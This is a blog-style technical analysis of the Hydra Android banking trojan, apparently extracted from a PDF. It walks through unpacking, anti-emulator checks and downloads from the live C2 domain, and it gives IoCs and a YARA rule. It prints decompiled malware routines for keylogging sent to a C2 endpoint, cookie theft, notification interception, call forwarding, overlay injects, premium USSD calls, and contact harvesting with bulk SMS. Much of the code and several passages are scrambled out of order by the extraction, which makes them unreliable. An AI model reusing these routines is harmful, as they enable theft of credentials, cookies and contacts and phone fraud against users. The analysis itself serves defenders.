Technical analysis of Hydra android malware muha2xmad.github.io/malware-analysis/hydra/ September 20, 2022 1/23 2/23 Muhammad Hasan Ali Malware Analysis learner 11 minute read ميحرل انمحرل اهلل امسب Unpacking If we unzip the sample and explore the com.sdktools.android.MainActivity indication of a packed sample. You can identify the packing technique using APKiD. If we use droidlysis , We can see the it the sample uses malware uses JsonPacker packer We will use Frida to get the decrypted payload. We will install the sample on the Android studio as an emulator and by using WSL on my host we will launch Frida to start the malicous APP to get the payload. Then we pull the payload to our host from the emulator. AndroidManifest.xml , we see that the entry point is not found in the code of the sample. This an . So we need to get the decrypted payload of the sample. droidlysis or DexClassLoader , 3/23 Figure(1) KCFj.json is our decrypted payload Anti-emulator I tried to run the sample in the emulator such as between the malware and the C2 server with last analysis of a previous sample of Hydra droidlysis to get the Properties of the payload there’s an qemu emulator. Figure(2) droidlysis result for qemu detection in sample code Then I used APKiD tool to get more details of the anti-emulation technique’s code. android studio and intercept the traffic Burp suite . But It didn’t go as well as my on my twitter. Then I used our magic tool KCFj.json . I see the payload is checking if 4/23 Figure(3) APKiD result for anti-vm detection in sample code We get the sample code for detecting VM, in SdkManagerImpl class located in com.sdktools.android.bot . If one of these checks is true, then i guess the malware will act differently. The malware won’t communicate with the C2 server to get the targeted APPs to perform the Overlay attack or to get the mirrors/domains . We will see. private static boolean isEmulator() { return (Build.BRAND.startsWith("generic")) && (Build.DEVICE.startsWith("generic")) || (Build.FINGERPRINT.startsWith("generic")) || (Build.FINGERPRINT.startsWith("unknown")) || (Build.HARDWARE.contains("goldfish")) || (Build.HARDWARE.contains("ranchu")) || (Build.MODEL.contains("google_sdk")) || (Build.MODEL.contains("Emulator")) || (Build.MODEL.contains("Android SDK built for x86")) || (Build.MANUFACTURER.contains("Genymotion")) || (Build.PRODUCT.contains("sdk_google")) || (Build.PRODUCT.contains("google_sdk")) || (Build.PRODUCT.contains("sdk")) || (Build.PRODUCT.contains("sdk_x86")) || (Build.PRODUCT.contains("vbox86p")) || (Build.PRODUCT.contains("emulator")) || (Build.PRODUCT.contains("simulator")); } Solution When I counter a sample uses anti-emulation techniques, I use tria.ge to get the traffic between the malware and the C2 server. If you go to the previous link, you will find the communication between the malware and the C2 server. You can download the files using wget + link such as wget http://lalabanda.com/payload . 5/23 Figure(4) Communication between C2 and the malware When we download mirrors encoded domains. I guess when the main C2 server is down, the malware will communicate with the mirrors or domains that we downloaded. Y section. Then we see a zip file called we can download from http://lalabanda.com/storage/zip/jk5xWNYPKnTh4e7LP6vPG8z4YiBmoQYtKefRNId1.zip After downloading the file and unzip it, we see it contains two folders. First contains and the second is inj which contains 360 folders named with the targeted APPs. Inside the folders located in inj folder Overlay attack . file from http://lalabanda.com/api/mirrors jk5xWNYPKnTh4e7LP6vPG8z4YiBmoQYtKefRNId1.zip , there are the ou can find these donmains in the html files which will be used in the , we will find IoCs which . icons 6/23 Figure(5) targeted apps which contains html files to perform overlay attack Premium services The malware will try to subscribe to a premium service without the knowledge of the user which will charge the SIM more money. 7/23 private void launchUssdCode(Context context0, String s) throws this.ussdCalledTimeInMs = System.currentTimeMillis(); Timber.d("log -> [%s]", new Object[]{s}); Intent intent0 = new Intent("android.intent.action.CALL", s.replaceAll("#", Uri.encode("#")))); intent0.addFlags(0x10000000); intent0.addFlags(0x20000000); context0.startActivity(intent0); } public boolean onAccessibilityEvent(InjAccessibilityService injAccessibilityService0, AccessibilityEvent accessibilityEvent0, if(accessibilityEvent0 != null && accessibilityEvent0.getSource() (s.equalsIgnoreCase("com.android.phone")) && (accessibilityEvent0.getClassName().toString().toLowerCase().contains( !accessibilityEvent0.getText().isEmpty()) { StringBuilder stringBuilder0 = new StringBuilder(); for(Object object0: accessibilityEvent0.getText()) { stringBuilder0.append(" | "); stringBuilder0.append(((CharSequence)object0)); } UssdComponent.sendPhoneNumber(stringBuilder0.toString } return false; } Steal cookies The malware will try to steal Cookies from APPs such as Facebook Exception { Uri.parse("tel:" + String s != ) { null && "dialog")) && ()); and google . 8/23 public } injectCookiesModel0) } injectCookiesModel0, cookiesReaderViewerActivityInterfaceImpl$ cookiesReaderViewerActivityInterfaceImpl$ } try } } } com. cookiesReaderViewerActivityInterfaceImpl$ if( { stringBuilder0 class CookiesReaderViewerActivityInterfaceImpl public interface LifeCycleListener { boolean onPause(); boolean onResume(); private InjectCookiesModel cookieModel; private LifeCycleListener lifeCycleListener; private WebView webView; public CookiesReaderViewerActivityInterfaceImpl(InjectCookiesModel { this.cookieModel = injectCookiesModel0; public CookiesReaderViewerActivityInterfaceImpl(InjectCookiesModel LifeCycleListener LifeCycleListener0) this.cookieModel = injectCookiesModel0; this.lifeCycleListener = LifeCycleListener0; private void handleData(Activity activity0) { { this.webView.clearView(); String s = this.cookieModel.getFirstScreen(); this.webView.loadUrl(s); Timber.d("INJECTS -> display file: " + s, catch(Exception unused_ex) { private void init() { this.webView.getSettings().setDomStorageEnabled( this.webView.getSettings().setMixedContentMode( sdktools.android.bot.components.injects.system.CookiesReaderViewerActivityInterfac 10 = new WebViewClient() @Override // android.webkit.WebViewClient public void onPageFinished(WebView webView0, super.onPageFinished(webView0, s); s.contains(CookiesReaderViewerActivityInterfaceImpl. String s1 = CookieManager.getInstance(). StringBuilder stringBuilder0 = new stringBuilder0.append("print event:"); .append(CookiesReaderViewerActivityInterfaceImpl. extends IScreen { { new Object[0]); true); 0); { String s) { this.cookieModel. getCookie( StringBuilder(); this.cookieModel. getScreenToFin s); getFir 9/23 + " cookies data | \n"); stringBuilder0. stringBuilder0. + " cookies data | \n"); stringBuilder0. if CookiesReaderViewerActivityInterfaceImpl. InjectComponent. s2, stringBuilder0. } } append(CookieManager. stringBuilder0. stringBuilder0. append(CookiesReaderViewerActivityInterfaceImpl append(CookieManager. stringBuilder0. (!TextUtils. String s2 = get().getConfigsProvider(). toString()); getInstance().getCookie append(" \n"); append(" \n"); getInstance(). append(s1); isEmpty(stringBuilder0)) this. getInjectHandler(). getCookie( cookieModel. } @Override // android.webkit.WebViewClient public boolean shouldOverrideUrlLoading(WebView Timber.d("INJECTS -> ulr loaded: " + s, new webView0.loadUrl(s); return true; } }; this.webView.getSettings().setJavaScriptEnabled(true); this.webView.getSettings().setAllowFileAccess(true); this.webView.getSettings().setSaveFormData(true); this.webView.getSettings().setAppCacheEnabled(false); this.webView.getSettings().setCacheMode(2); this.webView.setBackgroundColor(0); this.webView.setWebViewClient(cookiesReaderViewerActivityInterfaceImpl$ } @Override // com.sdktools.android.core.injects_core.IScreen public void onCreate(Activity activity0) FrameLayout frameLayout0 = new frameLayout0.setBackgroundColor(- WebView webView0 = new WebView( this.webView = webView0; frameLayout0.addView(webView0, activity0.setContentView(frameLayout0); this.init(); this.handleData(activity0); } @Override // com.sdktools.android.core.injects_core.IScreen FrameLayout( 1); activity0); new FrameLayout. { activity0); LayoutParams(- (CookiesReaderViewerActivit .this.cookieModel.getScr CookiesReaderViewerActivit { getApplicationId(); handleWebViewLog( Cookies webView0, Object[0]); String s) { 10); 1, -1)); 10/23 public void onPause(Activity activity0) { InjectComponent.viewerActivityVisible = LifeCycleListener cookiesReaderViewerActivityInterfaceImpl$ = this.lifeCycleListener; if(cookiesReaderViewerActivityInterfaceImpl$ cookiesReaderViewerActivityInterfaceImpl$ } } @Override // com.sdktools.android.core.injects_core.IScreen public void onResume(Activity activity0) { InjectComponent.viewerActivityVisible = LifeCycleListener cookiesReaderViewerActivityInterfaceImpl$ = this.lifeCycleListener; if(cookiesReaderViewerActivityInterfaceImpl$ cookiesReaderViewerActivityInterfaceImpl$ } } @Override // com.sdktools.android.core.injects_core.IScreen public void onStop(Activity activity0) { super.onStop(activity0); activity0.finish(); } Keylogger The malware has the ability to keylog what the user enters such as edittext contains a hint . Then send keylogging to the C2 server. false; LifeCycleListener0 LifeCycleListener0. true; LifeCycleListener0 LifeCycleListener0. password LifeCycleListener0 != null) { onPause(); LifeCycleListener0 != null) { onResume(); or any 11/23 if( if } accessibilityEvent0.isPassword()) (!s1.contains("•") keyLoggerModel0. return false; if(s1.equals(accessibilityEvent0. keyLoggerModel0. return false; } { && !s1.contains("*")) setText(s1); getSource setText(""); int v = keyLoggerModel0. if(s1.length() > v) { keyLoggerModel0.addToText(Character.toString((( return false; } getText().length(); char)s1.charAt keyLoggerModel0. return false; } removeLastFromText(); keyLoggerModel0. } setText(s1); return false; } @Override // com.sdktools.android.bot.SdkComponent public void onSyncEvent( super.onSyncEvent(jsonObject0); Boolean boolean0 = Boolean.valueOf(jsonObject0. if(boolean0 != null) SharedPrefHelper. boolean0.booleanValue()); } JsonObject jsonObject0) JsonUtils.hasObject( get("enable_keylogger"). { setIsKeyLoggerEnabled( jsonObject0, { getAsBoolean()) this.context(), } public void onWindowStateChanged() { if(this.candidateToPass.size() > 0) { this.isRequestInProgress.set(true); Log.d("!!!!!", " SEND DATA TO SERVER " + this. KeyLoggerModel keyLoggerModel0 = (KeyLoggerModel)this.candidateToPass.get(0); HashMap hashMap0 = new HashMap(); hashMap0.put("messages", this.candidateToPass); this.api().makePost("device/kl", hashMap0).enqueue( @Override // com.sdktools.android.bot.rest.RestCallback public void onError(Throwable throwable0) KeyLoggerComponent.this.isRequestInProgress. } { (). "enable_keylogger") candidateToPass); { getHintText())) { (s1.length() - 1)))); : null; new RestCallback() set(false); ? { 12/23 @Override // com.sdktools.android.bot.rest.RestCallback public void onSuccess( KeyLoggerComponent. KeyLoggerComponent. } }); } } RestResponse this.candidateToPass. this.isRequestInProgress. restResponse0) clear(); { set(false); Classic Features Notification intercepting The malware will try to intercept notification using in com.sdktools.android.bot.components.commands comming notifications and notification to the C2 server. hide them from the user onNotificationPosted . Then push/upload the content of the callback located . The malware will intercept the 13/23 public Log if } | app - " try } } } @Override public } private { hashMap0 } Call Forwarding void onNotificationPosted(StatusBarNotification statusBarNotification0) { .i(this.TAG, "********** onNotificationPosted"); (SharedPrefHelper.getIsHiddenPushEnabled(this)) { this.cancelNotification(statusBarNotification0.getKey()); Notification notification0 = statusBarNotification0.getNotification(); String s = notification0.extras.getString("android.title"); String s1 = notification0.extras.getString("android.text"); Timber.d("!!!!!", new Object[]{"title - " + s + " | description - " + s1 + " + statusBarNotification0.getPackageName()}); String s2 = "Title - " + s + "\nDescription - " + s1; { this.sendNotification(statusBarNotification0.getPackageName(), s2); catch(Exception unused_ex) { return; Timber.d("!!!!!", new Object[]{"cancel notification. Hidden"}); // android.service.notification.NotificationListenerService void onNotificationRemoved(StatusBarNotification statusBarNotification0) { Timber.d("!!!!!", new Object[]{"********** onNOtificationRemoved"}); void sendNotification(String s, String s1) { HashMap hashMap0 = new HashMap(); hashMap0.put("appId", s); hashMap0.put("text", s1); try { if(LockerComponent.get() != null && LockerComponent.get().api() != null) LockerComponent.get().api().makePost("device/push", ).enqueue(new RestCallback() { @Override // com.sdktools.android.bot.rest.RestCallback public void onError(Throwable throwable0) { } @Override // com.sdktools.android.bot.rest.RestCallback public void onSuccess(RestResponse restResponse0) { } }); } } catch(Exception unused_ex) { } 14/23 The malware can intercept calls and forward calls when the user get a phone call. 15/23 public boolean onAccessibilityEvent(InjAccessibilityService injAccessibilityService0, AccessibilityEvent int v1; Log.d("OwnAccessibilityService", "onAccessibilityEvent -> " accessibilityEvent0); Boolean boolean0 = Boolean.valueOf( if(accessibilityEvent0.getEventType() return false; } accessibilityEvent0, false); != 0x20) { String s) { + if(accessibilityEvent0.getClassName(). { if( } accessibilityEvent0. return false; equals("com.android.phone.settings.SimPickerPref getSource() == null) { this.isSecondSimActive AccessibilityNodeInfo injAccessibilityService0.findAndGetFirstSimilar( "com.android.phone:id/recycler_view", if(this.currentSim == injAccessibilityService0.performClick( return false; } = true; accessibilityNodeInfo0 true); SimCard.Sim1) accessibilityNodeInfo0. if(this.currentSim injAccessibilityService0.performClick( return false; } == SimCard.Sim2) accessibilityNodeInfo0. = accessibilityEvent0. { getChild( { getChild( getSource(), 0), "f"); 1), "f"); } else if(accessibilityEvent0.getClassName(). { if(accessibilityEvent0. this.tryToClickXiaomiCallForwardingButton( accessibilityEvent0); return false; } equals("com.android.phone.settings.GsmUmtsCallFo getSource() != null) { injAccessibilityService0, int v = 0; while(v <= 40) { if(v % 5 == 0) { injAccessibilityService0. ""); } try { performClick(injAccessibilityService0.getRootInActiveWindow() 16/23 Thread.sleep(1000L); if(injAccessibilityService0. injAccessibilityService0. } boolean z = this.tryToClickXiaomiCallForwardingButton( accessibilityEvent0); } catch(InterruptedException return; } if(z) { return true; } ++v; continue; this.tryToClickXiaomiCallForwardingButton( accessibilityEvent0); return false; } } Overlay attack As we see the malware will download a zip If a targeted APP is opened then the malware will launch the Located in com.sdktools.android.bot.components.injects.system getRootInActiveWindow() getRootInActiveWindow(). injAccessibilityService0, unused_ex) { != null) { refresh(); injAccessibilityService0, file contains html files of the targeted apps. html file of the targeted app. . 17/23 public class ViewerActivityInterfaceImpl public interface LifeCycleListener boolean onPause(); extends IScreen { { boolean } onResume(); public ViewerActivityInterfaceImpl( this.injectModel = } InjectModel injectModel0; injectModel0 public ViewerActivityInterfaceImpl(InjectModel injectModel0 viewerActivityInterfaceImpl$LifeCycleListener0) { this.injectModel = injectModel0; this.lifeCycleListener = viewerActivityInterfaceImpl } private void handleData(Activity activity0) try { this.webView.clearView(); String s = this.injectModel. s = s.startsWith("http") ? + s; this.webView.loadUrl(s); Timber.d("INJECTS -> display file: " } catch(Exception } unused_ex) { { getInjectPath(); this.injectModel.getInjectPath() + s, new Object[ } private this. if( } void init() { webView.getSettings(). Build.VERSION. this.webView. setDomStorageEnabled(true); SDK_INT >= 21) { getSettings().setMixedContentMode( com.sdktools.android.bot.components.injects.system.ViewerActivityInterfaceImpl. viewerActivityInterfaceImpl$10 = new WebChromeClient() { @Override // android.webkit.WebChromeClient public boolean onConsoleMessage(ConsoleMessage String s = consoleMessage0.message(); if(!TextUtils.isEmpty(s)) { String s1 = ViewerActivityInterfaceImpl.this.injectModel.getApplicationId(); InjectComponent. s1, s); get().getConfigsProvider().getInjectHandler(). } return super.onConsoleMessage( } consoleMessage0); ) { , $LifeCycleListener0; 0); consoleMessage0) handleWebViewLog( LifeCycleListener : 0]); "file:///" 1 { ViewerA 18/23 }; com.sdktools. viewerActivityInterfaceImpl$ } android.bot. @Override public boolean Timber. webView0. return components.injects.system. 20 = new WebViewClient() // android.webkit.WebViewClient shouldOverrideUrlLoading( d("INJECTS -> ulr loaded: " + loadUrl(s); true; ViewerActivityInterfaceImpl { WebView s, new }; this.webView. this.webView. this.webView. this.webView. this.webView. this.webView. this.webView. this.webView. this.webView. } getSettings().setJavaScriptEnabled(true getSettings().setLoadWithOverviewMode( getSettings().setAllowFileAccess(true); getSettings().setSaveFormData(true); getSettings().setAppCacheEnabled(false); getSettings().setCacheMode(2); setBackgroundColor(0); setWebViewClient(viewerActivityInterfaceImpl$ setWebChromeClient(viewerActivityInterfaceImpl$ @Override // com.sdktools.android.core.injects_core.IScreen public void onCreate(Activity activity0) FrameLayout frameLayout0 = new frameLayout0.setBackgroundColor(- WebView webView0 = new WebView( this.webView = webView0; frameLayout0.addView(webView0, activity0.setContentView(frameLayout0); this.init(); this.handleData(activity0); } FrameLayout( 1); activity0); new FrameLayout. { activity0); LayoutParams(- @Override // com.sdktools.android.core.injects_core.IScreen public void onPause(Activity activity0) { InjectComponent.viewerActivityVisible = false; LifeCycleListener viewerActivityInterfaceImpl$LifeCycleListener0 this.lifeCycleListener; if(viewerActivityInterfaceImpl$LifeCycleListener0 viewerActivityInterfaceImpl$LifeCycleListener0. } } @Override // com.sdktools.android.core.injects_core.IScreen public void onResume(Activity activity0) { InjectComponent.viewerActivityVisible = true; LifeCycleListener viewerActivityInterfaceImpl$LifeCycleListener0 this.lifeCycleListener; if(viewerActivityInterfaceImpl$LifeCycleListener0 viewerActivityInterfaceImpl$LifeCycleListener0. } webView0, Object[ ); true); 20); .2 String s) { 0]); 10); 1, -1)); = != null) { onPause(); = != null) { onResume(); 19/23 } @Override // com.sdktools.android.core.injects_core.IScreen public void onStop(Activity activity0) super.onStop(activity0); activity0.finish(); } @Override // com.sdktools.android.core.injects_core.IScreen public boolean overrideBackPress( return true; } private void startAppById(Context try { context0.startActivity(context0.getPackageManager(). } catch(ActivityNotFoundException } } } Steal contacts The malware collect the contacts stored in the victim’s device and send it to C2 server smishing the stolen numbers. { Activity activity0) context0, unused_ex) { String s) { getLaunchIntentForPackage( { s)); . And 20/23 public } private contentResolver0. null); if if } contentResolver0. "contact_id = ?", arrayList0. } } static ContactsComponent return ContactsComponent. get() { instance; List getContactList() { ArrayList arrayList0 = new ArrayList(); ContentResolver contentResolver0 Cursor cursor0 = query(ContactsContract. = this.context Contacts.CONTENT_URI ((cursor0 == null ? 0 : cursor0.getCount()) > while(cursor0 != null && (cursor0.moveToNext String s = cursor0.getString(cursor0.getColumnIndex( cursor0.getString(cursor0.getColumnIndex( (cursor0.getInt(cursor0.getColumnIndex( continue; Cursor cursor1 = query(ContactsContract.CommonDataKinds. new String[]{s}, null); while(cursor1.moveToNext()) { add(cursor1.getString(cursor1.getColumnIndex( cursor1.close(); } if(cursor0 != null) { cursor0.close(); } return } @Override public Loader return v } public void this.contactsFromCursor( } @Override public void this.onLoadFinished( } @Override arrayList0; // android.app.LoaderManager$LoaderCallbacks onCreateLoader( == 1 ? this. onLoadFinished( // android.app.LoaderManager$LoaderCallbacks onLoadFinished( loader0, // android.app.LoaderManager$LoaderCallbacks int v, Bundle bundle0) contactsLoader() : null; Loader loader0, Cursor cursor0) cursor0); Loader loader0, Object object0) ((Cursor)object0)); ().getContentResolver(); , null, null, null, 0) { ())) { "_id")); "display_name")); "has_phone_number")) <= 0) { Phone.CONTENT_URI, null, "data1"))); { { { 21/23 public void onLoaderReset(Loader loader0) { } @Override // com.sdktools.android.bot.SdkComponent public void onSyncEvent(JsonObject jsonObject0) { super.onSyncEvent(jsonObject0); if(1 == (JsonUtils.hasObject(jsonObject0, "bulk_sms") ? jsonObject0.get("bulk_sms").getAsInt() : 0)) { String s = JsonUtils.hasObject(jsonObject0, "bulk_body") ? jsonObject0.get("bulk_body").getAsString() : ""; if(!TextUtils.isEmpty(s)) { this.sendBulkSms(s, this.getContactList()); } } } private void sendBulkSms(String s, List list0) { for(Object object0: list0) { this.sendSMS(((String)object0).replace(" ", ""), s); try { Thread.sleep(300L); } catch(InterruptedException unused_ex) { return; } } } public void sendSMS(String s, String s1) { try { SmsManager.getDefault().sendTextMessage(s, null, s1, null, null); } catch(Exception unused_ex) { } } IoCs APK hash: 8b321553f1a269ee4b68a02162ba2d14c71a92907b6001ff3db0fe5bae6b3430 Payload (KCFj.json) hash: fd87c4f7c8ece0448dab67a0b689c4a417a153081059750295fbed29a1422b03 C2 server: http://lalabanda.com Related C2 servers: http://cslon.com 22/23 http://cariciu-carilas.com http://carilas-carilas.net http://carilas-carilas.top Yara rule rule Hydra { meta: author = "@muha2xmad" date = "2022-09-21" description = "Hydra android malware" version = "1.0" strings: $str00 = "all_data.json" nocase $str01 = "res/xml/tfgztcqbitzuzb.xml" nocase $str02 = "res/xml/hccnqedztpvawk.xml" nocase $str03 = "res/xml/bkfzwlpvqlbmlh.xml" nocase $str04 = "com.wife.dizzy/shared_prefs" nocase condition: uint32be(0) == 0x504B0304 // APK file signature and ( all of ($str*)) } Article quote ُلَعف ام َت َتن امَأ َّنِك َوَل َكتن يت اَدالل اَتَبَأ َّل ِب َتسَلَو ُلِمح يت ايماسَت َّل َأل اَتسَلَوي در يتَت َت َّل ا َبايِثل اَتسَلَف REF triage report Previous Hydra analysis droidlysis APKiD Frida 23/23